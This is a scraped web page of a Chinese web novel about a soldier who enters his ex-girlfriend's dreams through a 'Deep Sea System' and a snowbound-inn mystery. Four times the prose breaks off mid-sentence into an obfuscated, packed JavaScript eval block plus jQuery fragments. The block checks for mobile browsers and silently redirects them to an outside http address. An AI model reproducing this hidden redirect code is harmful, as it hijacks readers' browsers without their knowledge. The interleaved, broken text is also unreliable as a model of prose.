;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379959|168421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一件黑色长款风衣，187公分的身高越发显得修长挺拔，作为商院的院草，但凡他开口，很少有人能拒绝得了这份的邀请。而且两个人分手后，他还记得她下实验的时间，站在这里等她一起吃饭，就这份心意，也足以打动很多人。 纪璇想也不想地拒绝：“不用了，我还有作业要写，打完饭直接回寝室吃。” 周辰抬起手腕看了看表，说道：“这个时间，食堂也剩不下什么菜了，你脸色太差，应该补补——之前说好了，虽然分手了，最起码还能做个能一起吃饭的朋友，对吧？” 纪璇的眼睛眨了眨，羽扇般的睫毛轻颤。 她一直试图将眼前正常的周辰和梦里鲜血淋漓的周辰联系起来，在她被噩梦缠身的时候，他在做什么？他是否置身事外，过着普通的生活？如果他也是梦中人，那么，一次次看着前女友死在眼前，他又会是什么感觉？ 自打两人和平分手以来，这是第一次在现实中相见，可纪璇却每天都在梦里见到他。 各式各样的他。 纪璇开口问：“除非接送我，平时你根本不会路过实验楼，是不是傅姳妍给你打电话了？” 周辰略一沉吟，大概是在出卖队友和面对前女友的求生欲之间做了一个快速选择，简单地回答：“她说你一直在做噩梦，我很担心你。” 纪璇猜中了。 跟周辰分手后，她就开始噩梦缠身，不止一次半夜惊醒，因为晚上睡眠不足，白天的状态也很糟糕，傅姳妍理所应当的认为是周辰的锅，依照傅姳妍的脾气，绝对不止周辰说的这么简单。 没人信是纪璇主动提的分手，周辰的长相自带渣男光环，所有人理所应当地认为是她被抛弃。 傅姳妍肯定会对“渣男”一顿狂喷，然后让他来找她。 如果是今天以前，纪璇一定会认为傅姳妍又在做傻事了。 在经历了昨夜那样的梦境之后，她必须得承认，自己的确很想见周辰一面。 纪璇一步步从台阶往下走，一直到可以与周辰平视的地方停下来，她侧过头看着他的眼睛，问道：“分手是我提的，我记得你说过，我随时可以反悔，那么是不是说明，你一直都想与我复合？” 周辰没犹豫地回道：“是。” “这样说的话，你还是喜欢我的，”她身体向前，凑近了他，“真的吗？那是……爱吗？” 最后两个字细不可闻，好在两人离得很近，周辰不可能听不到，但是他没有回答。 纪璇向他伸出手，向着他的心脏，那个曾经被怪物的爪子洞穿的地方。 心脏是身体防御的基本，周辰身体不自觉地微微向后，只稍微偏离了一点角度，但他很快反应过来，反而迎了上去，任由纪璇的手掌贴在自己的胸膛上。 镜片反射路灯的光线，遮住了眼眸。他低头看着她，没有说话。 5. 深海系统（二） 纪璇与周辰之间只有一个手臂的距离，她感觉自己心跳有些快，男性气息环绕着她，有久在秋夜中的冷冽，也有年轻男人身上不容抵挡的血气方刚。 有那么一瞬间，她觉得周辰浑身的肌肉都绷紧了，她的手放在他的胸膛处，衣服下的心脏有力地跳动着。 他是在紧张吗？ 纪璇没有抬头看他的表情，因为大着胆子问出这句话之后，她也有些不敢看他了。 不过这是正常的，她冷静地想，毕竟这是她第一次这样近的碰触异性。 在她与周辰交往的三个月里，这位男朋友可是一根手指都没碰过她。 这是纪璇的初恋，她要求不高，也就是想跟男朋友拉拉小手，又不好意思主动，结果……还真就一直没拉上小手。 如果那一次她没有看到周辰的眼神，或许不会当成一回事，但在那之后，这一点就很值得玩味了。 再怎么害羞，也不至于连手都不拉吧？ 她怕不是找了一个假男朋友。 纪璇怀疑过会不会是周辰性取向不同，特意找她来做挡箭牌的，但又觉得没必要，别说现在社会风气已经很包容了，周辰才刚上研一，年纪也不大，就算喜欢男人也没必要现在就找个女朋友来搪塞家里。 根据她的观察，周辰没有直男癌，但也是笔直笔直的钢铁直男一枚。 “我昨晚做了一个梦，梦到你了。”她低垂着眼眸，默默数着他的心跳，轻声道。 “希望是个好梦，但依照你最近憔悴的程度，看上去不太乐观。”周辰道。 “我和你作为国王的祭品，跟其他人一起送进迷宫里，被米诺陶洛斯追杀。” “希腊神话里的怪物？那我有好好保护你吗？” “有。你为我而死。”纪璇抬起头看他，很仔细地观察他的表情，“你想知道看到你死的瞬间，我是什么感觉吗？” “嗯。” “我第一次看到生活里熟悉的人，鲜血淋漓地出现在我面前，我吓坏了，除了尖叫什么都不会，我觉得自己做错了事，不该回头去找你，我甚至有些埋怨，如果不梦到你，就不会看到这触目惊心的一幕，可醒过来的时候，我又庆幸这只是梦而已。” 周辰安抚她道：“别怕，真的只是梦，我好好的在这里。”他声音低沉，语气柔缓的时候，浅浅的低音炮在耳边厮磨，会让人变得懒洋洋的。 纪璇：“如果你看到我死在你面前，会是什么感觉？” 周辰伸手推了推眼镜，慎重地说：“我会竭尽全力，尽量不让这样的事情发生。” 纪璇对他中规中矩的回答有些失望，她现在几乎可以确定，眼前的周辰和梦里的那个，无法带给她同样的感觉。 而且她能从他略僵硬的身体上感觉到，这个男人可没嘴上说的那么喜欢她。 那么问题来了，这个根本不喜欢她的男人，处心积虑地接近她，想以男朋友的名分留在她身边，到底要干什么？ 纪璇骤然收回了手。 她说：“谢谢你来安慰我，吃饭就算了，我会好好照顾自己的，你……也是。” 周辰看着纪璇快步离开实验楼，捏了捏眉心，轻轻吐出一口浊气。 指令装置里又传来了薛路那欢乐的声音：“哈哈哈，你看看你……” “把同步率调到100%。” 薛路的狂笑戛然而止，他不敢置信地问：“你说什么？” 周辰孤零零地站在路灯下，整个人都在灯下黑的状态，像是一团看不清面目的影子，从最黑暗的地方传来他的声音：“现在深海系统只能基于纪璇本人的记忆和现实空间开拓梦境地图，开启100%同步率之后，我的记忆也可以作用于梦境，自主权更高，我需要这个。” 薛路噎了一下，干巴巴地说道：“你想清楚了，60%同步率是深海系统的安全极限，就算任务失败，你死在观察体的梦里也有醒过来的可能，一旦调到100%同步率，你在梦里——是真的会脑死亡的啊！” 周辰笑了声，用手指扶了一下眼镜，低声道：“深海系统真是了不起，我曾经以为它只是冷冰冰的梦境，没想到还能感受到那么真实的体温，她就这么活生生的在我面前，在不知道的地方沉睡，等待有人来唤醒她，作为一名绅士，让女士等太久是很失礼的事。” 薛路怪叫：“就为了这个？” 周辰离开实验楼，从阴影中走向行人渐多的主路，深秋的夜空高旷星稀，远处的灯火明明灭灭，他轻轻呵了一口气，漫不经心地道：“当然不是，我又不是追求自我奉献的圣父。” 薛路喃喃道：“我找到你帮忙的时候，你毫不犹豫就答应了下来，我以为你还是放不下，你……” 周辰脸色微变，薛路没有再继续说下去，他暂时不想去试探大魔王不为人知的逆鳞。如果可能，薛路也不想接手这个任务，可谁让这是深海系统研究所自己出的问题呢。 “在丹特顿基地的时候，一共有三百名身经百战的士兵参与深海系统的解梦者试验，我是最快通过的人，知道为什么吗？” “报告上说，你的身体素质和心理素质都达到接近满分水准，深海系统的测试标准共有十级，只有你一个人通过了可执行任务的八级测试，与深海系统的相应性达到优秀。” 周辰轻笑起来：“有一种心理病征，名叫深海恐惧症。” 薛路：“是的，深海系统的本质，就是在一个封闭且庞大的虚拟空间内进行任务操作，梦境是未知的，也是危险的，如同深海遨游，令人恐惧。” “最令人恐惧的地方，同时也是它最迷人的地方。” 薛路哼了一声：“打小你就是我们这些人里最让人捉摸不透的，长大了也是，放着好好的家业不继承，非要考军校，还去特战队那种地方……算了，既然你喜欢作死，想必也有所觉悟，只是像上一个梦境那样的事，不能再发生了，否则专家组会以安全条例为优先级，启动紧急预案，立刻切断你与SH053观察体的意识连接。” “当时我避开了心脏位置，死不了。” 薛路：“行叭，反正在我们眼里，你已经是一个死人了。” “放轻松，60%的死亡率其实跟100%也没什么分别，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379960|168421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如大家一起痛快点，早点完成任务。”周辰唇角微挑，“更何况，你怎么就肯定，我一定会失败？” 他仰起头，像是透过夜空，看到更深更远，只有灵魂才能到达的地方。 S7特战队全员，从未尝失败。 就算死，也会死在胜利的废墟上。 【请解梦者注意，深海系统即将迎来升级，调整解梦者与观察体的意识同步率，建立下一级连接。】 周辰走在A大校园的路上，身边是不停路过的学生，有拿着鲜花的情侣，有抱着一堆学习资料的同学，有刚从球场下来的男生们，有赶往食堂打最后一份饭的教职工……人间烟火，随秋风四散，撑起一个无比真实的世界。 【目前神经连接同步率为60%，继续提高同步率需要管理者权限验证。】 【验证完毕。】 【系统升级中……】 下一秒，周辰眼前的世界发生了一瞬间的扭曲，将一切凝固起来。 从喧嚣到静谧，从动荡到静止，连呼吸声都听不到。 只有他还继续往前走着。 【同步率70%……】 周辰的身边起了风，吹起风衣的衣角，某种看不见的力量灌入他的身体，却不曾让他停下脚步。 【同步率80%，7号溶液注射中……】 周辰的双手缓缓握紧，与世界产生更深层的连接让他的意识被动接受系统冲击，眼前的景象一层层展开多维视角，镜片上不断划过类似代码的字符串。 【同步率90%……】 世界骤然坍塌，变为一片纯白。 周辰伸出手指，向着前方轻轻一点，这个世界又重新以分子的形体迅速重建，甚至连旁边那对情侣手中鲜花边缘微微发黑的花瓣都完美复制下来。 【同步率100%，系统进入超载模式，安全级别S+，向解梦者开启建构权限、监控权限、生物舱操作权限、服务器使用权限、KIT辅助功能权限、紧急脱离权限、主控室……】 【7号溶液注射完毕，浓度58.7%，解梦者体征平稳。】 【权限开启完毕，解梦者为深海系统第005号操作者，操作手册Ver:0.8.03,参考运行Ver：0.3模式。】 【请解梦者确认。】 周辰：“确认。” 随着他一声落下，周围就像是按了暂停键又重新复播视频画面，一切又鲜活起来，仿佛什么都没有发生。 纪璇打包了一份炒饭，心里惦记着作业，匆匆往宿舍楼走。 “嘿，纪璇！”路的斜对面有人喊她。 纪璇抬头看过去，叫住她的人是大四学姐姚妩，跟她在同在ARMO-YKJ项目组，今天晚上有事请假，于是姚妩的工作基本都压在了纪璇和另一个学长身上，导致她差点吃不上饭。 姚妩身边还站着一个穿着时尚的高个子男人，长相十分招人，纪璇回头这么会儿功夫，已经有很多女生往这边看，嘴里还在窃窃私语。 纪璇在梦里天天看周辰，对帅哥早就免疫了，她寒暄道：“姚学姐回来了。” 7. 消失的房客（二） “你就说，兄弟够不够意思？”指令装置里照例传来薛路猥琐又欢快地声音，“就这架构，这暴风雪山庄的模式，你就说经典不经典？我敢保证，在梦魇和咱们辰辰小哥哥的英明神武下，最后整个旅馆肯定死得只剩下你们两个人，到时候嘛，嘿嘿嘿……” 周辰不为所动，甚至有些冷漠地道：“每一次梦境到最后都会是孤岛模式，这并不能提高任务的完成度，反而会让纪璇的意识防御机制不断提升，使任务一次次失败。孤岛模式的唯一作用是方便排除其他目标行为，只有我、纪璇和梦魇三者能够贯穿梦境始终。” 薛路摇头：“就你们三者？不见得吧。那个反社会犯罪分子不也在纪璇的梦里吗？他既然不管不顾地拉纪璇一起进了深海系统，就一定有所图谋，不可能会放任你完成任务。” 周辰讽刺道：“很难想象你们会用这样一个危险的恐怖分子接触系统核心，还给了他那么高的系统权限。深海系统不是在军方支持下研发的吗？他怎么过的政审，你们心就这么大？” 薛路委屈地说：“这不是心大不大的问题，从科研条件上来说，水平更高的专家也不是没有，但屁股后面都一堆事儿，根本不能适应深海系统的高强度研发工作，所以我们没得选。” “算了，好在经历过上一个梦境，她对我的杀意应该会有所减轻，不至于同时面对三座大山。”想到纪璇，周辰也忍不住想叹气，“她是我最不想面对的敌人，我不习惯对女士出手。” 薛路撇撇嘴：“说得好像你多怜香惜玉似的，从小到大你那张煞神的脸伤了多少女孩子的心啊喂！我的幼儿园女神、小学女神、初中女神……全都只能看见你呜呜呜呜……” 周辰权当他在排废气，掏掏耳朵道：“这次的任务内容下来了吗？” “等我看一下哈，唔，这次的任务应该不难，你没白挨那一下掏心爪，SH053观察体对你的戒备的确有所缓解，但仍然在临界值上下波动，属于危险范畴，同时我们还检测到她不容乐观的心理情况，很可能是生活压力和不断深入潜意识梦境直面梦魇所导致的。既然你要继续执行A计划，首要目标就是让纪璇的情绪稳定下来，才有继续执行下一步计划内容的可能，注意不要再刺激SH053观察体，她不能死，你更不能死！” 薛路一边敲击键盘一边说道，“好在目前在100%同步率下，你一样有梦境的主导权，相信这一次梦魇没那么容易得手，根据专家组的预测，突破暴风雪山庄的封锁模式应该就是本次梦境的关键。” 按照“暴风雪山庄”的模式，想突破封锁只有两个途径，一是找到凶手或者罪恶的根源，二是所有人都死光。 在确定纪璇的梦中一定存在梦魇的情况下，他只有一条路可以走。 周辰：“比起这个，我更关心那桩十三年前的凶杀案，市局的资料送到了吗？” “纪璇并不生活在A市，她老家在隔壁H市，调配案卷和证物都需要时间，已经申请了飞行通道，你这边的话，大概还有两天才能到。不过，根据电话里口述的情况，她梦里的阴影应该不小，至少是个杀人狂魔，而且还曾与她近距离接触过。” 深海系统里的时间流逝跟现实世界的时间不同，就好比他在系统里已经度过了三个月，但现实中他才进入生物舱两个小时。 “她跟周围人提起过这件案子吗？” “没有，也许是应激后的保护性遗忘，也许是埋得太深。可以预见的是，越是接近深层意识的核心，梦魇的能量就会越大，这类童年阴影通常在梦境中都不可战胜，几近无敌。”薛路欢脱的声音也透着点无奈，“你说，谁能想到一个普通的女大学生居然会有这么深、这么重的心理阴影，说实话，也多亏你提前暴露了，否则按照原来的A计划，我们根本没有任何准备，搞不好你真的会折在里面。” 按照A计划的原本流程，应该在他成为纪璇男朋友并取得信任后，才开启她的下一级梦境空间，这样的梦境相对安全，他的施展空间更大，也方便寻找陷入沉睡的意识体。 然而在纪璇与他分手后，用一句比较通俗的话来讲，他进入了纪璇潜意识的黑名单，有过不信任感或者有过“不信任行为”的人，几乎是不可能通过平和手段唤醒纪璇，周辰也不再拘泥于任务流程，他选择提前进入纪璇的梦境，试图通过潜意识影响她的判断。 遗憾的是，强大的潜意识排斥他的进入，甚至激出了她心底最恐惧的梦魇，无差别的追杀她梦境里的人。 而且直男的方法实在是简单粗暴，直接追着人家姑娘跑，反而把纪璇逼到绝境，一次次在梦境中死去。 “其实这也不见得是坏事。”周辰扶了下眼镜，他很不习惯鼻梁上架着东西，感觉会影响动作，“恰恰是这种危险，才在这个看上去几乎不可能完成的任务里，有了一丝希望。” 越危险，便越接近内核。 越深入，便越了解纪璇。 所以危机亦是转机， “解梦者进入任务状态，申请暂时解除指令连接。” 【申请通过】 因为深海系统内外时间流速不同，指令连接不可能一直维系，在进入任务状态后，除非系统警报或者发生紧急状态，主控室方面会履行监控职责，不会干扰他的行动。 周辰环视周围环境，他正坐在旅馆的食堂里，背靠墙壁，左手边侧对出入的门口，右手边对着打饭窗口，一个身材圆润的中年厨师和年轻瘦小的男助手在守在三个不锈钢大食盒后面，墙上挂着的小黑板写着今天的菜色和价格。 西红柿炒鸡蛋，土豆烧豆角，鱼香肉丝。 打饭窗口旁边是一个保温桶，里面装着免费鸡蛋汤，里面浮着软塌塌的黄瓜片和胡萝卜片。 在深海的梦境里，一切都必须遵循现实社会基本的逻辑规则，甚至说梦境的架构就是根据解梦者和观察体的现实记忆而来，就算有再逆天的权限，周辰也不可能在这个简陋的旅馆里变出美味珍馐，一样得跟着吃大锅饭。 周辰并不认为纪璇的梦境一定会跟着“暴风雪山庄”的推理模式走，梦境不是小说，它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379962|168421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千变万化，一切都由心而发。 唯一棘手的是，这一次的梦魇，究竟是什么东西。 希望100%同步率所带来的助力，不会白白浪费。 纪璇一进食堂就看到了周辰。 颜值高，存在感当然也高，跟平时的着装不一样，他上身穿着带兜帽的黑色T恤，下半身是军绿迷彩裤，脚穿黑色长靴，虽然还带着眼镜，但从前的斯文气质已经所剩无几，反而显得孤傲又野性，身上满是年轻男人遮挡不住的荷尔蒙。 嗯，这就是她那位吃不到摸不着的前男友了。 纪璇看了周辰一眼，冷淡地扭过头。 文若曦眼睛一亮，露出梦幻般的笑容：“我不是在做梦吧，那边坐着的是新来的客人吗？怎么会比韩老师还要帅！” 管莹莹的眼睛已经变成桃心形状：“可以的，我可以的……韩爱妃不要吃醋，今天朕一定要翻这位美人的牌子！” “之前你们没见过这个人吗？”纪璇问。 文若曦：“没见过呢，不过我们也才来了两天，他可能是今天来躲避风雪的客人，也可能是前面两天都没出屋子也说不定。” 管莹莹也附和道：“这种天气就应该在屋子里宅着，但是……”她沮丧地拿出手机，“听说暴风雪影响了线路，这里不仅没电话信号，连个wifi都没有，我反反复复刷手机里的存粮都要刷吐了。” 纪璇压根就没掏出手机看，在梦里她的手机很少出场，别说刷手机，刷题还差不多，有一段时间她总梦到刷卷子，经常是醒了做卷子，睡了还在做卷子，顺便还能解决几道白天解决不了的难题，学习效率相当高。 她摸了摸下巴，不知道梦里的周辰喜不喜欢做卷子。 食堂里当然不止周辰，还有十来个学生一起叽叽喳喳地吃饭，游学并非整个合唱团的人都会参加，这一次似乎只来了这些人。纪璇一眼扫过去，几乎都是路人脸，只有中间围着的韩隽峰闪闪发光，像是打了柔光又加了一层滤镜。 “莹莹，来这边！”有人喊道。 马上就有人阴阳怪气地说：“莹莹和若曦过来就好，可千万别带着丧气的挂件，我们可不想像蓝佩洁一样倒霉。” “哎呀你也不能这么说嘛，谁知道小洁会突然不见，纪璇同学想必也是有苦衷的。” “她可是校长特批进合唱团的特殊人才，两只眼睛都快长到天上了，能有什么苦衷啊？小洁就是心肠太好，哼，当初就不该跟她分一个房间。” “这也是没办法，咱们都分好了，只有小洁和她是单着的……” …… 这些人对她的看法原来这么恶意的吗？纪璇想了想，当初她只是在彩排和演出去了合唱团两次，要不是文若曦和管莹莹站位就在她左右，可能连这两个人都没印象。 纪璇径直到了窗口，出示了房间钥匙。这类老师带队的游学基本都是学校管食宿，没她自己花钱买饭的道理。 中年厨师看都不看那钥匙，也不打饭，他的目光上上下下游走在纪璇身上。 8. 消失的房客（三） 年轻女孩身段高挑，牛仔裤包裹着修长笔直的双腿，沿着完美的身体曲线束起小巧圆润的髋胯，在纤嫩的腰肢间与紧身白色高领毛衣接壤，黑色的短款羽绒服敞开，再往上是微微起伏的鸽子脯，生涩的感觉就好像吃下一口汁水丰盈的青苹果。 中年厨师不自觉地吞咽了一下，他伸出油腻腻的手，笑嘻嘻地想去握住纪璇的手。 周辰一开始还在观察，一直以来，纪璇都在梦境中躲着他，强行靠近只能引来一次次死亡结局，周辰不确定迷宫自戕之后她对他的态度，而且在纪璇的梦里，通常情况下除了梦魇，其他人都不能真正伤害到她。 后来他发现纪璇一直没有动作，瞬间意识到了什么，立刻冲了过去。 ——纪璇的表现说明她在现实中也遇到过这种情况，而且不管她当时做了什么应对，内心都在害怕。 恐惧是人类最难以隐藏的情绪，尤其在潜意识中，你无处可躲，只能直面自己的内心。 纪璇眼睁睁看着那只肥猪手靠近她，身体想动却动不了。 应该躲开的，可手上还是会留有那种恶心的感觉，让人想吐。 就在中年厨师的手即将碰到她的时候，有人握住了她的手，把她拉了回来。 “我帮你打饭，去那边等我，好不好？”周辰低沉悦耳的声音在耳边响起，纪璇微微发怔。 这是他们……第一次拉手吧？ 中年厨师悻悻地收回手，眼底带着凶光，狠狠瞪了周辰一眼，旁边弱气的男助手端着不锈钢饭盘，小声询问：“王哥？” 王哥照着脑袋给了助手一巴掌：“叫我干啥！盛饭啊！三份！” 周辰接过饭盘，盛了一碗例汤放在碗格上，转身拉着纪璇的手准备往自己的座位走。 纪璇却挣脱了，她接过饭盘，快速说了一声：“谢谢。”随意找了一处没人的桌子坐下了。 之前叽叽喳喳的学生们安静得十分诡异，他们目光兴奋地看着这一幕，仿佛脑补出了一部二十几集的校园狗血言情剧。 纪璇在反省，为什么面对猥琐油腻的男厨师，自己会等到前男友出手才反应过来，又或者，她内心其实希望周辰来拯救自己？ 不，她不能变成一个只会依赖男人的废物，就算在梦里也不行。 只有自己一个人，她也可以做到任何事。 一直以来都是如此不是吗？ 好了，当务之急是她梦里的周辰到底该怎么解决？上一次他不是死在米诺陶洛斯手里吗？怎么复活得这么快？还是因为她今天晚上见过周辰本人一面？ 感觉有点碍眼。 她烦躁地扒拉两下头发，掰开方便筷，夹起一大口饭吃了进去。 周辰耳边的指令装置又响起了警报。 【警报！危险系数增加，SH053观察体处于情绪波动，对解梦者信任度下降！】 刚回到座位上的周辰：“……”我就帮了一个小忙，她怎么就又想杀我了？现在的姑娘杀气这么重的吗？ 虽然那边的同学极力邀请文若曦和管莹莹过去一起吃饭，但文若曦打好饭之后并没有过去，她磨磨蹭蹭地朝着纪璇走过来，坐在纪璇对面，小声问：“原来你认识那个男生啊？他看起来好温柔。” 纪璇浑然忘我地吃着饭，含糊不清地道：“那是我前男友。” “吓？前男友！”文若曦捂住嘴巴，眼睛瞪得溜圆，“你们什么时候好上的啊？哦不，我的意思是说……你们怎么分手了啊！是不是他很花心？”这勾人的长相看着就危险呢。 “因为他不喜欢我。” “哎？他不喜欢你这种冰山学霸型？” 纪璇似笑非笑地看了文若曦一眼：“……冰山？你要试试我的热情吗？” 文若曦露出见鬼的表情，立刻端着饭盘离开了。但是没走两步，少女的心事战胜了一切，她还是咬着牙回来，脸庞有些发红地偷偷瞄周辰，伏在纪璇耳边问：“那他现在是单身吗？” 纪璇继续扒饭：“谁知道呢。” 鱼香肉丝的芡汁多到成坨，咸得惊人；土豆烧豆角里面只能看到五根豆角，土豆倒是管够；西红柿没有断生，基本保持下锅前的原样，鸡蛋里面不知道掺了多少水，已经快不成形了。 但纪璇还是把饭盘吃得干干净净，她知道自己得积蓄力量，不管她现在做什么，最后梦魇总会找上她，谁让这是她的梦呢。 她离开食堂，走进阴暗的楼梯间，听到身后传来急促的脚步声。 “纪璇同学，请等一下。”韩隽峰的声音从后面传来。 纪璇：“韩老师，找我有事吗？” 韩隽峰仍然好像一个发光体，背上翅膀可以直接COS天使长，不愧是全校女生的梦中情人。 他目光柔和，有些担忧地看着她道：“趁今天午饭时间，我集合了同学们，调查了蓝佩洁同学的情况，也询问了崮岂山旅店的工作人员，从昨天入夜后，就没有人见过蓝佩洁同学了，你是她的舍友，能不能回忆下昨夜有什么特殊情况？” “没有，我没有印象。”她压根没昨晚的记忆。 “好，下午老师会继续调查，今天晚饭后我们会开一个小会，讨论如何应对恶劣天气以及学生安全事宜，纪同学到时记得参加，还有，目前只有你是一个人居住，一定要注意安全。” “谢谢老师，我会的。”纪璇乖巧地点点头，像是不经意地提起，“我听说是当初是老师选择了崮岂山作为游学地点，没有考虑到当地极端天气因素吗？” 韩隽峰苦笑：“这样啊……那你大概还听说了另一件事吧？去年也是我，带着你们上一级合唱团的成员在崮岂山游学，而且还失踪了一名与我关系匪浅的女生。” 纪璇：“韩老师真是明察秋毫，看来这件事是子虚乌有了？” “不，”韩隽峰微笑地看着她，“全都是真的。” 不知道什么时候起，纪璇退到了楼梯的拐角处，韩隽峰高大的身影将她完全笼罩在角落里，食堂里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379963|168421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学生的交谈声遥远得仿佛在另一个时空，耳边只有呼啸的风雪声，还有男人近在咫尺的呼吸，韩隽峰的手指微动，敲击着腿测，仿佛在演奏钢琴曲一般。 “她叫伊雪，是一个很有钢琴天赋的学生，每到我下午有课的时候，都会在放学后来琴房找我，让我教她演奏《梅菲斯特圆舞曲》。” 纪璇皱眉：“李斯特的《地狱圆舞曲》？” 无论是“梅菲斯特”还是“地狱”都没差别，这首曲子是钢琴家李斯特的炫技代表作之一，取材《浮士德》，整部钢琴曲都在表现这位人类历史上最著名的恶魔形象。 韩隽峰的眼中闪过惊喜之色：“纪同学果然也懂钢琴，很多人都觉得李斯特的钢琴曲空有炫技却无内容，只把他的曲目用来考试……简直暴殄天物，竟然没有人注意到这首曲子里藏着的恶魔，他活灵活现，仿佛能顺着音符渗透人心，在繁复的指法中从地狱而来，令人着迷。” 纪璇眯起眼睛，她倒是没看出，在韩老师天使般的外表下，竟然还有这么一颗暗黑向的心。不过也不奇怪，表里不一的人和事看得多了，慢慢就习惯了。 她慢慢地问道：“那么，伊雪学姐她学会这首曲子了吗？” 韩隽峰笑意更深：“她很聪明，学得很快。属于她的梅菲斯特很快被创造出来，那是红色的魅影，在琴键上，被更强大的恶魔压迫、嘶吼，最后妥协、接受，学着变得听话，学着变得更完美，然后一同坠入地狱。” 纪璇：“韩老师讲话好像在朗诵诗歌一样，听上去很动人，但是我听不懂。” 韩隽峰看向窗外，指着外面的风雪：“你听，外面是不是有钢琴声？” 纪璇静静地听了片刻，她的确听到了，李斯特的《梅菲斯特圆舞曲》，但这跟玄学现象没关系，应该是她的大脑在回忆钢琴曲，又映射到梦里罢了。 韩隽峰变得奇怪起来，纪璇不想继续周旋下去，她道：“也许是很优美的钢琴声，不过我听不到，老师没有其他事的话，我想回去休息了。” 韩隽峰后退一步，颇有深意地道：“合唱团的同学们都多才多艺，几乎都一半人都学过钢琴，听说失踪了的蓝佩洁同学也是个中翘楚，纪璇同学，你说会不会是她听到风雪中的钢琴声，受到了梅菲斯特的感召，去寻找属于自己的地狱了呢？” 纪璇微笑：“那她真是太蠢了，外面多冷啊，就算有地狱，也应该是鲜花缭绕，酒池肉林般的奢靡才有让人进去的欲望，现在么，我还是选择有暖气的地方。” 韩隽峰一愣，纪璇已经跟他擦身而过，只是在登上楼梯的时候，她发现楼梯下方的阴影处似乎一直有人。 发现她看过来，那人轻轻做了一个手势，仿佛是在叫她安心。 纪璇收回目光，她其实并不害怕，又不是没在梦里死过，而且上一个梦境她差一点就逃过了梦魇的追杀。可周辰如影随形的保护还是让她不习惯，那是一种被监视的感觉，也有一种—— 被当成猎物盯住的感觉。 9. 消失的房客（四） 回到三楼，隐隐约约看到有什么东西在她的房间门口。 她脚步放慢，屏住呼吸，小心地接近312号房间，走到近前才发现，那是一只大约50厘米高的棕色小熊布偶，带着黑色的小礼帽，衣服上系着同色领结，安安静静地坐在她的房门口。 她的呼吸一窒，弯腰将小熊布偶抱了起来，用手轻轻抚过它毛茸茸的身体和脸庞，然后像是终于确定了什么似的，迫不及待地将小熊布偶搂进怀里。 衣领后面有被缝补过的痕迹，左手掌上有一块洗不掉的黑色油迹，尾巴下方的响纸破了一个口子……纪璇难得失态到抓不住钥匙，半天才打开房门，一进屋子就将小熊举了起来，在灯光下细细打量，眼睛像是里汪着一池微光粼粼的浅湖，她轻轻问道：“嘟嘟，是你来陪我了吗？” 小熊黑黝黝的眼睛注视着她。 纪璇重新把它抱在怀里，脸贴着小熊的脸。 绅士打扮的小熊布偶是她童年的玩伴，小小的姑娘自己一个人在家的时候，会给小熊讲故事，给小熊上课，给小熊看病打针，给小熊布置卧室，给小熊做饭……它是她最好的朋友，甚至还有一个名字叫“嘟嘟”。 可惜在搬家的时候，不知道丢到哪里去了。 纪璇没想到嘟嘟会出现在她梦里，她高兴坏了，带着小熊一起伏在床上。 “你回来了，嘟嘟，我的嘟嘟。”纪璇用鼻子去蹭它的小鼻子，用手指按它软乎乎的小脚掌，一切都是熟悉的感觉，让人无比安心。 就像是回到了家里。 “嘟嘟，你丢在哪里了？被人捡到了吗？有没有人好好照顾你？” “我过得很好，妈妈也很好，我好想你，后来我再也没有买过玩具了，谁都不能替代你。” “你是不是也想我了？所以才来找我？” “嘟嘟，告诉你啊，我现在是在做梦哦，梦里有好多可怕的坏人，还有怪兽，我们一起打倒他们好不好？” “嘟嘟，这里好冷啊，我从来没有见过这么大的雪，可是我要出去了，这个旅馆非常非常可怕，我们去冒险好不好？” “嘟嘟，要是你能跟我说话多好啊……” 纪璇话音刚落，就发现小熊布偶自己动了起来，她一惊，连忙坐了起来。 小熊动作僵硬地扭了扭身子，然后缓慢地摇了摇头。 房间里的灯光一下子变得惨白，外面的风雪声更大了，窗户缝隙时不时地发出颤动的声音，而这一切微妙的变化，纪璇并没有注意到。 